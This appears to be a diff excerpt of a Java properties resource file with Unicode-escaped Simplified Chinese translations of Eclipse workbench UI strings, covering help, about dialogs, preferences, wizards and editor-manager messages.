+HelpContentsAction_toolTip=\u5e2e\u52a9\u5185\u5bb9 +HelpSearchAction_text=\u641c\u7d22(&E) +HelpSearchAction_toolTip=\u641c\u7d22\u5e2e\u52a9 +DynamicHelpAction_text=\u52a8\u6001\u5e2e\u52a9(&D) +DynamicHelpAction_toolTip=\u52a8\u6001\u5e2e\u52a9 +AboutDialog_shellTitle=\u5173\u4e8e {0} +AboutDialog_DetailsButton=\u5b89\u88c5\u7ec6\u8282(&I) +ProductInfoDialog_errorTitle=\u6253\u5f00\u94fe\u63a5\u65f6\u51fa\u73b0\u95ee\u9898 +ProductInfoDialog_unableToOpenWebBrowser=\u65e0\u6cd5\u5bf9 {0} \u6253\u5f00 Web \u6d4f\u89c8\u5668 +PreferencesExportDialog_ErrorDialogTitle=\u9519\u8bef +AboutPluginsDialog_shellTitle=\u5173\u4e8e {0} \u63d2\u4ef6 +AboutPluginsDialog_pluginName=\u63d2\u4ef6\u540d\u79f0 +AboutPluginsDialog_pluginId=\u63d2\u4ef6\u6807\u8bc6 +AboutPluginsDialog_version=\u7248\u672c +AboutPluginsDialog_provider=\u63d0\u4f9b\u7a0b\u5e8f +AboutPluginsDialog_signed=\u5df2\u7b7e\u540d +AboutPluginsDialog_state_installed=\u5df2\u5b89\u88c5 +AboutPluginsDialog_state_resolved=\u5df2\u89e3\u6790 +AboutPluginsDialog_state_starting=\u6b63\u5728\u542f\u52a8 +AboutPluginsDialog_state_stopping=\u6b63\u5728\u505c\u6b62 +AboutPluginsDialog_state_uninstalled=\u5df2\u5378\u8f7d +AboutPluginsDialog_state_active=\u6d3b\u52a8 +AboutPluginsDialog_state_unknown=\u672a\u77e5\u72b6\u6001 +AboutPluginsDialog_moreInfo=\u6cd5\u5f8b\u4fe1\u606f(&L) +AboutPluginsDialog_signingInfo_show=\u663e\u793a\u7b7e\u540d\u4fe1\u606f(&S) +AboutPluginsDialog_signingInfo_hide=\u9690\u85cf\u7b7e\u540d\u4fe1\u606f(&H) +AboutPluginsDialog_columns=\u5217(&C)... +AboutPluginsDialog_errorTitle=\u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u73b0\u95ee\u9898 +AboutPluginsDialog_unableToOpenFile=\u5728\u63d2\u4ef6 {1} \u4e2d\u627e\u4e0d\u5230\u6587\u4ef6 {0}\u3002 +AboutFeaturesDialog_shellTitle=\u5173\u4e8e {0} \u529f\u80fd\u90e8\u4ef6 +AboutFeaturesDialog_featureName=\u529f\u80fd\u90e8\u4ef6\u540d\u79f0 +AboutFeaturesDialog_featureId=\u529f\u80fd\u90e8\u4ef6\u6807\u8bc6 +AboutFeaturesDialog_version=\u7248\u672c +AboutFeaturesDialog_provider=\u63d0\u4f9b\u7a0b\u5e8f +AboutFeaturesDialog_signed=\u5df2\u7b7e\u540d +AboutFeaturesDialog_moreInfo=\u8bb8\u53ef\u8bc1(&L) +AboutFeaturesDialog_pluginsInfo=\u63d2\u4ef6\u8be6\u7ec6\u4fe1\u606f(&P) +AboutFeaturesDialog_columns=\u5217(&C)... +AboutFeaturesDialog_noInformation=\u6ca1\u6709\u4e3a\u6b64\u529f\u80fd\u90e8\u4ef6\u63d0\u4f9b\u4efb\u4f55\u8fdb\u4e00\u6b65\u7684\u4fe1\u606f\u3002 +AboutFeaturesDialog_pluginInfoTitle=\u529f\u80fd\u90e8\u4ef6\u63d2\u4ef6 +AboutFeaturesDialog_pluginInfoMessage=\u7531\u529f\u80fd\u90e8\u4ef6 {0} \u6dfb\u52a0\u7684\u63d2\u4ef6 +AboutFeaturesDialog_noInfoTitle=\u6ca1\u6709\u4efb\u4f55\u8fdb\u4e00\u6b65\u7684\u4fe1\u606f +AboutFeaturesDialog_SimpleTitle=\u529f\u80fd\u90e8\u4ef6 +AboutSystemDialog_browseErrorLogName=\u67e5\u770b\u9519\u8bef\u65e5\u5fd7(&V) +AboutSystemDialog_copyToClipboardName=\u590d\u5236\u5230\u526a\u8d34\u677f(&T) +AboutSystemDialog_noLogTitle=\u672a\u627e\u5230\u9519\u8bef\u65e5\u5fd7 +AboutSystemDialog_noLogMessage=\u5728 {0} \u5904\u627e\u4e0d\u5230\u9519\u8bef\u65e5\u5fd7\u3002\u5728\u6b64\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u672a\u62a5\u544a\u4efb\u4f55\u9519\u8bef\u3002 +PerspectiveBarContributionItem_toolTip={0}\u900f\u89c6\u56fe +PerspectiveBarNewContributionItem_toolTip=\u6253\u5f00\u900f\u89c6\u56fe +WorkbenchWindow_FileToolbar=\u6587\u4ef6 +WorkbenchWindow_NavigateToolbar=\u6d4f\u89c8 +WorkbenchWindow_searchCombo_toolTip=\u8f93\u5165\u5e2e\u52a9\u641c\u7d22\u8868\u8fbe\u5f0f\u5e76\u6309 Enter \u952e +WorkbenchWindow_searchCombo_text=\u641c\u7d22\u5e2e\u52a9 +WorkbenchWindow_close=\u5173\u95ed(&C) +WorkbenchPage_PerspectiveFormat={0} \uff0d {1} +WorkbenchPage_ErrorCreatingPerspective=\u65e0\u6cd5\u521b\u5efa\u900f\u89c6\u56fe\u201c{0}\u201d\u3002\u6ca1\u6709\u5bf9\u5e94\u7684\u900f\u89c6\u56fe\u6269\u5c55\u3002 +WorkbenchPage_UndefinedPerspective=\u672a\u5b9a\u4e49\u900f\u89c6\u56fe\u6807\u8bc6 +SelectWorkingSetAction_text=\u9009\u62e9\u5de5\u4f5c\u96c6(&W)... +SelectWorkingSetAction_toolTip=\u9009\u62e9\u5de5\u4f5c\u96c6 +EditWorkingSetAction_text=\u7f16\u8f91\u6d3b\u52a8\u5de5\u4f5c\u96c6(&E)... +EditWorkingSetAction_toolTip=\u7f16\u8f91\u6d3b\u52a8\u5de5\u4f5c\u96c6 +EditWorkingSetAction_error_nowizard_title=\u7f16\u8f91\u5de5\u4f5c\u96c6 +EditWorkingSetAction_error_nowizard_message=\u4e0d\u80fd\u7f16\u8f91\u6d3b\u52a8\u5de5\u4f5c\u96c6\u3002 +ClearWorkingSetAction_text=\u53d6\u6d88\u9009\u62e9\u5de5\u4f5c\u96c6(&K) +ClearWorkingSetAction_toolTip=\u53d6\u6d88\u9009\u62e9\u6d3b\u52a8\u5de5\u4f5c\u96c6 +WindowWorkingSets=\u7a97\u53e3\u5de5\u4f5c\u96c6 +NoWorkingSet=\u6ca1\u6709\u5de5\u4f5c\u96c6 +SelectedWorkingSets=\u6240\u9009\u5de5\u4f5c\u96c6 +NoApplicableWorkingSets=\u6ca1\u6709\u9002\u7528\u7684\u5de5\u4f5c\u96c6 +GoHome_text=\u8f6c\u81f3\u4e3b\u9875(&H) +GoHome_toolTip=\u4e3b\u9875 +GoBack_text=\u8fd4\u56de(&B) +GoBack_toolTip=\u8fd4\u56de +GoInto_text=\u8fdb\u5165(&I) +GoInto_toolTip=\u8f6c\u81f3 +ICategory_other=\u5176\u4ed6 +NewWizard_title=\u65b0\u5efa +NewWorkingSet=\u65b0\u5efa\u5de5\u4f5c\u96c6 +NewWizardNewPage_description=\u4e0b\u5217\u8d44\u6e90\u521b\u5efa\u5411\u5bfc\u53ef\u7528\u3002 +NewWizardNewPage_wizardsLabel=\u5411\u5bfc(&W)\uff1a +NewWizardNewPage_showAll=\u663e\u793a\u6240\u6709\u5411\u5bfc(&S)\u3002 +WizardList_description=\u4e0b\u5217\u5411\u5bfc\u662f\u53ef\u7528\u7684\u3002 +Select=\u9009\u62e9 +NewWizardSelectionPage_description=\u9009\u62e9\u5411\u5bfc +NewWizardShortcutAction_errorTitle=\u6253\u5f00\u5411\u5bfc\u65f6\u51fa\u73b0\u95ee\u9898 +NewWizardShortcutAction_errorMessage=\u672a\u80fd\u542f\u52a8\u9009\u62e9\u7684\u5411\u5bfc\u3002 +NewWizardsRegistryReader_otherCategory=\u5176\u4ed6 +NewWizardDropDown_text=\u65b0\u5efa\u5411\u5bfc(&N) +WorkbenchWizard_errorMessage=\u672a\u80fd\u542f\u52a8\u9009\u62e9\u7684\u5411\u5bfc\u3002 +WorkbenchWizard_errorTitle=\u6253\u5f00\u5411\u5bfc\u65f6\u51fa\u73b0\u95ee\u9898 +WizardTransferPage_selectAll=\u5168\u90e8\u9009\u4e2d(&S) +WizardTransferPage_deselectAll=\u5168\u90e8\u4e0d\u9009(&D) +TypesFiltering_title=\u9009\u62e9\u7c7b\u578b +TypesFiltering_message=\u5c06\u9009\u62e9\u7f29\u5c0f\u81f3\u4ec5\u5305\u62ec\u4ee5\u4e0b\u7c7b\u578b\u7684\u6587\u4ef6(&T)\uff1a +TypesFiltering_otherExtensions=\u5176\u4ed6\u6269\u5c55\u540d(&O)\uff1a +TypesFiltering_typeDelimiter=\uff0c +ImportExportPage_chooseImportSource=\u9009\u62e9\u5bfc\u5165\u6e90\u3002 +ImportExportPage_chooseExportDestination=\u9009\u62e9\u5bfc\u51fa\u76ee\u6807\u3002 +ImportWizard_title=\u5bfc\u5165 +ImportWizard_selectSource=\u9009\u62e9\u5bfc\u5165\u6e90(&S)\uff1a +ExportWizard_title=\u5bfc\u51fa +ExportWizard_selectDestination=\u9009\u62e9\u5bfc\u51fa\u76ee\u6807(&S)\uff1a +NewProject_title=\u65b0\u5efa\u9879\u76ee +PreferenceNode_errorTitle=\u9996\u9009\u9879\u9875\u9762\u521b\u5efa\u95ee\u9898 +PreferenceNode_errorMessage=\u65e0\u6cd5\u521b\u5efa\u9009\u62e9\u7684\u9996\u9009\u9879\u9875\u9762\u3002 +PreferenceNode_NotFound=\u627e\u4e0d\u5230 {0} +Preference_note=\u6ce8\u610f\uff1a +WorkbenchPreference_showMultipleEditorTabsButton=\u663e\u793a\u591a\u4e2a\u7f16\u8f91\u5668\u9009\u9879\u5361(&M) +WorkbenchPreference_allowInplaceEditingButton=\u5141\u8bb8\u9002\u5f53\u7cfb\u7edf\u7f16\u8f91\u5668(&S) +WorkbenchPreference_useIPersistableEditorButton=\u542f\u52a8\u65f6\u590d\u539f\u7f16\u8f91\u5668\u72b6\u6001(&E) +WorkbenchPreference_promptWhenStillOpenButton=\u5173\u95ed\u65f6\u63d0\u793a\u4fdd\u5b58\uff08\u5373\u4f7f\u5728\u5176\u4ed6\u4f4d\u7f6e\u4ecd\u5904\u4e8e\u6253\u5f00\u72b6\u6001\uff09(&O) +WorkbenchPreference_showTextOnPerspectiveBar=\u5728\u900f\u89c6\u56fe\u680f\u4e0a\u663e\u793a\u6587\u672c(&H) +WorkbenchPreference_stickyCycleButton=\u4fdd\u6301\u4e0b\u4e00\u4e2a\uff0f\u4e0a\u4e00\u4e2a\u7f16\u8f91\u5668\u3001\u89c6\u56fe\u548c\u900f\u89c6\u56fe\u5bf9\u8bdd\u6846\u5904\u4e8e\u6253\u5f00\u72b6\u6001(&N) +WorkbenchPreference_RunInBackgroundButton=\u59cb\u7ec8\u5728\u540e\u53f0\u8fd0\u884c(&U) +WorkbenchPreference_RunInBackgroundToolTip=\u5c3d\u53ef\u80fd\u5728\u540e\u53f0\u8fd0\u884c\u9700\u65f6\u5f88\u957f\u7684\u64cd\u4f5c +WorkbenchPreference_HeapStatusButton=\u663e\u793a\u5806\u72b6\u6001(&W) +WorkbenchPreference_HeapStatusButtonToolTip=\u5728\u7a97\u53e3\u5e95\u90e8\u663e\u793a\u5806\u72b6\u6001\u533a\u57df +ViewsPreference_currentPresentation=\u5f53\u524d\u8868\u793a(&P)\uff1a +ViewsPreference_currentPresentationFormat={0}\uff08\u5f53\u524d\uff09 +ViewsPreference_presentationConfirm_title=\u914d\u7f6e\u8868\u793a\u66f4\u6539 +ViewsPreference_presentationConfirm_message=\u66f4\u6539\u8868\u793a\u8bbe\u7f6e\u5c06\u9700\u8981\u91cd\u65b0\u542f\u52a8\u5de5\u4f5c\u53f0\u624d\u80fd\u5b8c\u6210\u66f4\u6539\u3002\u73b0\u5728\u5c31\u91cd\u65b0\u542f\u52a8\u5417\uff1f +ViewsPreference_presentationConfirm_yes=\u662f +ViewsPreference_presentationConfirm_no=\u5426 +ViewsPreference_editors=\u7f16\u8f91\u5668\u9009\u9879\u5361\u4f4d\u7f6e +ViewsPreference_editors_top=\u9876\u90e8(&T) +ViewsPreference_editors_bottom=\u5e95\u90e8(&B) +ViewsPreference_views=\u89c6\u56fe\u9009\u9879\u5361\u4f4d\u7f6e +ViewsPreference_views_top=\u9876\u90e8(&O) +ViewsPreference_views_bottom=\u5e95\u90e8(&M) +ViewsPreference_perspectiveBar=\u900f\u89c6\u56fe\u5207\u6362\u5668\u4f4d\u7f6e +ViewsPreference_perspectiveBar_topRight=\u53f3\u4e0a\u65b9(&R) +ViewsPreference_perspectiveBar_topLeft=\u5de6\u4e0a\u65b9(&E) +ViewsPreference_perspectiveBar_left=\u5de6(&L) +ViewsPreference_traditionalTabs=\u663e\u793a\u4f20\u7edf\u6837\u5f0f\u9009\u9879\u5361(&S) +ViewsPreference_currentTheme=\u5f53\u524d\u4e3b\u9898(&C)\uff1a +ViewsPreference_currentThemeDescription=\u63cf\u8ff0(&I)\uff1a +ViewsPreference_override=\u8986\u76d6\u8868\u793a\u8bbe\u7f6e(&V) +ViewsPreference_currentThemeFormat={0}\uff08\u5f53\u524d\uff09 +ViewsPreference_enableAnimations=\u542f\u7528\u52a8\u753b(&N) +ViewsPreference_restartRequestJobName=\u91cd\u65b0\u542f\u52a8\u8bf7\u6c42 +FileEditorPreference_fileTypes=\u6587\u4ef6\u7c7b\u578b(&T)\uff1a +FileEditorPreference_add=\u6dfb\u52a0(&A)... +FileEditorPreference_remove=\u79fb\u9664(&R) +FileEditorPreference_associatedEditors=\u76f8\u5173\u8054\u7684\u7f16\u8f91\u5668(&E)\uff1a +FileEditorPreference_addEditor=\u6dfb\u52a0(&D)... +FileEditorPreference_removeEditor=\u79fb\u9664(&M) +FileEditorPreference_default=\u7f3a\u7701\u503c(&F) +FileEditorPreference_existsTitle=\u6587\u4ef6\u7c7b\u578b\u5b58\u5728 +FileEditorPreference_existsMessage=\u8be5\u6587\u4ef6\u7c7b\u578b\u7684\u6761\u76ee\u5df2\u5b58\u5728 +FileEditorPreference_defaultLabel=\uff08\u7f3a\u7701\u503c\uff09 +FileEditorPreference_contentTypesRelatedLink=\u6709\u5173\u57fa\u4e8e\u5185\u5bb9\u7c7b\u578b\u7684\u6587\u4ef6\u5173\u8054\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +FileEditorPreference_isLocked={0}\uff08\u7531\u201c{1}\u201d\u5185\u5bb9\u7c7b\u578b\u9501\u5b9a\uff09 +FileExtension_extensionEmptyMessage=\u6587\u4ef6\u6269\u5c55\u540d\u4e0d\u80fd\u662f\u7a7a\u7684 +FileExtension_fileNameInvalidMessage=\u5728\u5f53\u524d\u4f4d\u7f6e\uff0c\u6587\u4ef6\u540d\u4e2d\u4e0d\u80fd\u5305\u62ec\u901a\u914d\u7b26\uff08*\uff09 +FilteredPreferenceDialog_Key_Scrolling=\u952e\u6eda\u52a8(&S) +FilteredPreferenceDialog_PreferenceSaveFailed=\u9996\u9009\u9879\u4fdd\u5b58\u5df2\u5931\u8d25\u3002 +FilteredPreferenceDialog_Resize=\u8c03\u6574\u6811\u5927\u5c0f(&R) +FilteredPreferenceDialog_FilterToolTip=\u83dc\u5355 +FileExtension_fileTypeMessage=\u8f93\u5165\u8981\u6dfb\u52a0\u7684\u6587\u4ef6\u7c7b\u578b\uff1a\uff08\u4f8b\u5982\uff0c*.doc \u6216 report.doc\uff09 +FileExtension_fileTypeLabel=\u6587\u4ef6\u7c7b\u578b(&T)\uff1a +FileExtension_shellTitle=\u6dfb\u52a0\u6587\u4ef6\u7c7b\u578b +FileExtension_dialogTitle=\u5b9a\u4e49\u65b0\u7684\u6587\u4ef6\u7c7b\u578b +Choose_the_editor_for_file=\u4e3a\uff08{0}\uff09\u7c7b\u578b\u7684\u6587\u4ef6\u9009\u62e9\u7f16\u8f91\u5668 +EditorSelection_chooseAnEditor=\u9009\u62e9\u7f16\u8f91\u5668\uff1a +EditorSelection_internal=\u5185\u90e8\u7f16\u8f91\u5668(&I) +EditorSelection_external=\u5916\u90e8\u7a0b\u5e8f(&E) +EditorSelection_browse=\u6d4f\u89c8(&B)... +EditorSelection_title=\u9009\u62e9\u7f16\u8f91\u5668 +OpenPerspectiveMode_optionsTitle=\u6253\u5f00\u65b0\u7684\u900f\u89c6\u56fe +OpenPerspectiveMode_sameWindow=\u5728\u540c\u4e00\u7a97\u53e3\u4e2d(&S) +OpenPerspectiveMode_newWindow=\u5728\u65b0\u7684\u7a97\u53e3\u4e2d(&N) +OpenViewMode_title=\u6253\u5f00\u65b0\u7684\u89c6\u56fe +OpenViewMode_embed=\u5728\u900f\u89c6\u56fe\u5185(&W) +OpenViewMode_fast=\u4f5c\u4e3a\u5feb\u901f\u89c6\u56fe(&F) +PerspectivesPreference_MakeDefault=\u8bbe\u4e3a\u9ed8\u8ba4\u503c(&K) +PerspectivesPreference_MakeDefaultTip=\u5c06\u5f53\u524d\u9009\u62e9\u4f5c\u4e3a\u7f3a\u7701\u900f\u89c6\u56fe +PerspectivesPreference_Reset=\u8f6c\u6362\uff08&R\uff09 +PerspectivesPreference_Delete=\u5220\u9664(&E) +PerspectivesPreference_DeleteTip=\u5220\u9664\u7528\u6237\u5b9a\u4e49\u7684\u900f\u89c6\u56fe +PerspectivesPreference_available=\u53ef\u7528\u900f\u89c6\u56fe(&P)\uff1a +PerspectivesPreference_defaultLabel={0}\uff08\u7f3a\u7701\u503c\uff09 +PerspectivesPreference_perspectiveopen_title=\u5220\u9664\u900f\u89c6\u56fe +PerspectivesPreference_perspectiveopen_message=\u786e\u5b9a\u8981\u5220\u9664\u201c{0}\u201d\u900f\u89c6\u56fe\u5417\uff1f\u5b83\u6709\u6253\u5f00\u7684\u5b9e\u4f8b\u3002 +PerspectiveLabelProvider_unknown=\u672a\u77e5\u5143\u7d20\u7c7b\u578b +OpenPerspectiveDialogAction_text=\u6253\u5f00\u900f\u89c6\u56fe(&O)... +OpenPerspectiveDialogAction_tooltip=\u6253\u5f00\u900f\u89c6\u56fe +PreferencePage_noDescription=\uff08\u6ca1\u6709\u63d0\u4f9b\u63cf\u8ff0\uff09 +PreferencePageParameterValues_pageLabelSeparator=\ >\ +WorkbenchPreference_openMode=\u6253\u5f00\u65b9\u5f0f + +WorkbenchPreference_openMode=\u6253\u5f00\u6a21\u5f0f +WorkbenchPreference_doubleClick=\u53cc\u51fb(&O) +WorkbenchPreference_singleClick=\u5355\u51fb(&S) +WorkbenchPreference_singleClick_SelectOnHover=\u6839\u636e\u60ac\u6d6e\u63d0\u793a\u9009\u62e9(&H) +WorkbenchPreference_singleClick_OpenAfterDelay=\u4f7f\u7528\u7bad\u5934\u952e\u65f6\u6253\u5f00(&K) +FontsPreference_useSystemFont=\u4f7f\u7528\u7cfb\u7edf\u5b57\u4f53(&U) +DecoratorsPreferencePage_description=\u63cf\u8ff0(&N)\uff1a +DecoratorsPreferencePage_decoratorsLabel=\u53ef\u7528\u7684\u6807\u7b7e\u88c5\u9970(&L)\uff1a +DecoratorsPreferencePage_explanation=\u6807\u7b7e\u88c5\u9970\u5728\u5176\u6807\u7b7e\u6216\u56fe\u6807\u4e0a\u663e\u793a\u6709\u5173\u8be5\u9879\u7684\u66f4\u591a\u4fe1\u606f\u3002\n\u9009\u62e9\u5e94\u663e\u793a\u54ea\u4e9b\u9644\u52a0\u88c5\u9970\u3002 +StartupPreferencePage_label=\u5728\u542f\u52a8\u65f6\u6fc0\u6d3b\u7684\u63d2\u4ef6(&P)\uff1a +PropertyDialog_text=\u5c5e\u6027(&R) +PropertyDialog_toolTip=\u6253\u5f00\u5c5e\u6027\u5bf9\u8bdd\u6846 +PropertyDialog_messageTitle=\u5c5e\u6027\u9875 +PropertyDialog_noPropertyMessage={0} \u6ca1\u6709\u5c5e\u6027\u9875\u3002 +PropertyDialog_propertyMessage={0} \u7684\u5c5e\u6027 +PropertyPageNode_errorTitle=\u5c5e\u6027\u9875\u9762\u521b\u5efa\u95ee\u9898 +PropertyPageNode_errorMessage=\u65e0\u6cd5\u521b\u5efa\u9009\u62e9\u7684\u5c5e\u6027\u9875\u9762\u3002 +SystemInPlaceDescription_name=\u9002\u5f53\u7f16\u8f91\u5668(&I) +SystemEditorDescription_name=\u7cfb\u7edf\u7f16\u8f91\u5668(&S) +Error=\u9519\u8bef +Information=\u4fe1\u606f +InstallationDialog_ShellTitle={0} \u5b89\u88c5\u7ec6\u8282 +Workbench_NeedsClose_Title=\u9700\u8981\u91cd\u65b0\u542f\u52a8 +Workbench_NeedsClose_Message=\u5fc5\u9700\u7684\u63d2\u4ef6\u4e0d\u518d\u53ef\u7528\uff0c\u5e76\u4e14\u9700\u8981\u91cd\u65b0\u542f\u52a8 Workbench\u3002\u5982\u679c\u6709\u4efb\u4f55\u672a\u4fdd\u5b58\u7684\u5de5\u4f5c\uff0c\u90a3\u4e48\u5c06\u63d0\u793a\u60a8\u8fdb\u884c\u4fdd\u5b58\u3002 +ErrorPreferencePage_errorMessage=\u521b\u5efa\u6b64\u9996\u9009\u9879\u9875\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +ListSelection_title=\u9700\u8981\u9009\u62e9\u5185\u5bb9 +ListSelection_message=\u9009\u62e9\u4e0b\u5217\u5404\u9879\uff1a +SelectionDialog_selectLabel=\u5168\u90e8\u9009\u4e2d(&S) +SelectionDialog_deselectLabel=\u5168\u90e8\u4e0d\u9009(&D) +ElementTreeSelectionDialog_nothing_available=\u6ca1\u6709\u63d0\u4f9b\u4efb\u4f55\u6761\u76ee\u3002 +CheckedTreeSelectionDialog_nothing_available=\u6ca1\u6709\u63d0\u4f9b\u4efb\u4f55\u6761\u76ee\u3002 +CheckedTreeSelectionDialog_select_all=\u5168\u90e8\u9009\u4e2d(&A) +CheckedTreeSelectionDialog_deselect_all=\u5168\u90e8\u4e0d\u9009(&D) +EditorManager_saveResourcesMessage=\u9009\u62e9\u8981\u4fdd\u5b58\u7684\u8d44\u6e90(&R)\uff1a +EditorManager_saveResourcesOptionallyMessage=\u5df2\u7ecf\u4fee\u6539\u4e86\u4ee5\u4e0b\u8d44\u6e90\uff0c\u4f46\u5177\u6709\u76f8\u540c\u66f4\u6539\u7684\u8fd9\u4e9b\u8d44\u6e90\u5728\u5176\u4ed6\u4f4d\u7f6e\u4ecd\u5904\u4e8e\u6253\u5f00\u72b6\u6001\u3002\u6267\u884c\u5173\u95ed\u64cd\u4f5c\u5c06\u4e0d\u4f1a\u4e22\u5931\u8fd9\u4e9b\u66f4\u6539\u3002\u9009\u62e9\u4e00\u5b9a\u8981\u73b0\u5728\u4fdd\u5b58\u7684\u8d44\u6e90(&R)\uff1a +EditorManager_saveResourcesTitle=\u4fdd\u5b58\u8d44\u6e90 +EditorManager_exceptionRestoringEditor=\u6fc0\u6d3b\u7f16\u8f91\u5668\u65f6\u51fa\u73b0\u5185\u90e8\u9519\u8bef\u3002 +EditorManager_unableToCreateEditor=\u672a\u80fd\u6253\u5f00\u7f16\u8f91\u5668\uff1a{0} +EditorManager_systemEditorError=\u7cfb\u7edf\u7f16\u8f91\u5668\u53ea\u80fd\u6253\u5f00\u6587\u4ef6\u57fa\u672c\u8d44\u6e90\u3002 +EditorManager_invalidDescriptor=\u7f16\u8f91\u5668\u63cf\u8ff0\u7b26\u65e0\u6548\uff0c\u6807\u8bc6\u4e3a {0}\u3002 +EditorManager_instantiationError=\u672a\u80fd\u5b9e\u4f8b\u5316\u7f16\u8f91\u5668\u7c7b\u3002\u8fd9\u901a\u5e38\u8868\u793a\u7f3a\u5c11\u4e86 no-arg \u6784\u9020\u51fd\u6570\uff0c\u6216\u5728 plugin.xml \u4e2d\u9519\u8bef\u5730\u8f93\u5165\u4e86\u7f16\u8f91\u5668\u7684\u7c7b\u540d\u3002 +EditorManager_errorInInit=\u521d\u59cb\u5316\u671f\u95f4\u629b\u51fa\u4e86\u5f02\u5e38 +EditorManager_siteIncorrect=\u7f16\u8f91\u5668\u521d\u59cb\u5316\u5931\u8d25\uff1a{0}\u3002\u4f4d\u7f6e\u4e0d\u6b63\u786e\u3002 +EditorManager_unknownEditorIDMessage=\u65e0\u6cd5\u6253\u5f00\u7f16\u8f91\u5668\uff0c\u7f16\u8f91\u5668\u6807\u8bc6\u672a\u77e5\uff1a{0} +EditorManager_errorOpeningExternalEditor=\u65e0\u6cd5\u6253\u5f00\u5916\u90e8\u7f16\u8f91\u5668 {0}\uff08{1}\uff09\u3002 +EditorManager_unableToOpenExternalEditor=\u65e0\u6cd5\u5bf9 {0} \u6253\u5f00\u5916\u90e8\u7f16\u8f91\u5668\u3002 +EditorManager_operationFailed={0} \u5931\u8d25 +EditorManager_saveChangesQuestion=\u5df2\u7ecf\u4fee\u6539\u4e86\u201c{0}\u201d\u3002\u8981\u4fdd\u5b58\u66f4\u6539\u5417\uff1f +EditorManager_saveChangesOptionallyQuestion=\u5df2\u7ecf\u4fee\u6539\u4e86\u201c{0}\u201d\uff0c\u4f46\u5177\u6709\u76f8\u540c\u66f4\u6539\u7684\u8be5\u8d44\u6e90\u5728\u5176\u4ed6\u4f4d\u7f6e\u4ecd\u5904\u4e8e\u6253\u5f00\u72b6\u6001\u3002\u6267\u884c\u5173\u95ed\u64cd\u4f5c\u5c06\u4e0d\u4f1a\u4e22\u5931\u8fd9\u4e9b\u66f4\u6539\u3002\u4e00\u5b9a\u8981\u73b0\u5728\u4fdd\u5b58\u5417\uff1f +EditorManager_closeWithoutPromptingOption=\u5982\u679c\u5728\u5176\u4ed6\u4f4d\u7f6e\u4ecd\u5904\u4e8e\u6253\u5f00\u72b6\u6001\uff0c\u5173\u95ed\u65f6\u4e5f\u4e0d\u63d0\u793a\u4fdd\u5b58 +EditorManager_no_in_place_support=\u65e0\u6cd5\u590d\u539f\u9002\u5f53\u7f16\u8f91\u5668\u3002\u7f3a\u5c11\u9002\u5f53\u652f\u6301\u3002 +EditorManager_no_input_factory_ID=\u627e\u4e0d\u5230\u7f16\u8f91\u5668\uff08\u6807\u8bc6 \= {0} \u540d\u79f0 \= {1}\uff09\u7684\u8f93\u5165\u5de5\u5382\u6807\u8bc6 +EditorManager_bad_element_factory=\u4e0d\u80fd\u5b9e\u4f8b\u5316\u7f16\u8f91\u5668\uff08\u6807\u8bc6 \= {1} \u540d\u79f0 \= {2}\uff09\u7684\u8f93\u5165\u5143\u7d20\u5de5\u5382 {0} +EditorManager_openNewEditorLabel=\u6253\u5f00\u65b0\u7684\u7f16\u8f91\u5668(&O) +EditorManager_no_persisted_state=\u627e\u4e0d\u5230\u7f16\u8f91\u5668\uff08\u6807\u8bc6 \= {0} \u540d\u79f0 \= {1}\uff09\u7684\u5df2\u4fdd\u5b58\u7684\u72b6\u6001 +EditorManager_reuseEditorDialogTitle=\u81ea\u52a8\u5173\u95ed\u7f16\u8f91\u5668 +EditorManager_wrong_createElement_result=\u5de5\u5382 {0} \u4ece\u4e0d\u662f\u7f16\u8f91\u5668\uff08\u6807\u8bc6 \= {1} \u540d\u79f0 \= {2}\uff09\u7684 IEditorInput \u7684 createElement \u8fd4\u56de\u4e86\u4e00\u4e2a\u7ed3\u679c +EditorManager_create_element_returned_null=\u5de5\u5382 {0} \u4ece\u7f16\u8f91\u5668\uff08\u6807\u8bc6 \= {1} \u540d\u79f0 \= {2}\uff09\u7684 createElement \u8fd4\u56de\u4e86\u7a7a\u503c +EditorManager_problemsRestoringEditors=\u590d\u539f\u7f16\u8f91\u5668\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +EditorManager_missing_editor_descriptor=\u5bf9\u4e8e\u6807\u8bc6 {0} \u6ca1\u6709\u7f16\u8f91\u5668\u63cf\u8ff0\u7b26 +EditorManager_invalid_editor_descriptor=\u6807\u8bc6 {0} \u7684\u7f16\u8f91\u5668\u63cf\u8ff0\u7b26\u65e0\u6548 +EditorManager_problemsSavingEditors=\u4fdd\u5b58\u7f16\u8f91\u5668\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +EditorManager_unableToSaveEditor=\u65e0\u6cd5\u4fdd\u5b58\u7f16\u8f91\u5668\uff1a{0}\u3002 +EditorManager_backgroundSaveJobName=\u6b63\u5728\u4fdd\u5b58 {0} +EditorPane_pinEditor=\u9501\u5b9a\u7f16\u8f91\u5668(&P) +ExternalEditor_errorMessage=\u6253\u5f00\u5916\u90e8\u7f16\u8f91\u5668\uff08{0}\uff09\u65f6\u51fa\u9519\u3002 +Save=\u4fdd\u5b58 +Save_Resource=\u4fdd\u5b58\u8d44\u6e90 +Save_All=\u5168\u90e8\u4fdd\u5b58 +OpenNewPageMenu_dialogTitle=\u6253\u5f00\u9875\u9762\u65f6\u51fa\u73b0\u95ee\u9898 +OpenNewPageMenu_unknownPageInput=\u672a\u77e5\u9875\u9762\u8f93\u5165 +OpenNewWindowMenu_dialogTitle=\u6253\u5f00\u7a97\u53e3\u65f6\u51fa\u73b0\u95ee\u9898 +OpenNewWindowMenu_unknownInput=\u672a\u77e5\u7a97\u53e3\u8f93\u5165 +OpenPerspectiveMenu_pageProblemsTitle=\u6253\u5f00\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u95ee\u9898 +OpenPerspectiveMenu_errorUnknownInput=\u672a\u77e5\u900f\u89c6\u56fe\u8f93\u5165 +Perspective_oneError=\u4fdd\u5b58\u5de5\u4f5c\u53f0\u65f6\u53d1\u751f\u4e86\u9519\u8bef\uff1a\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 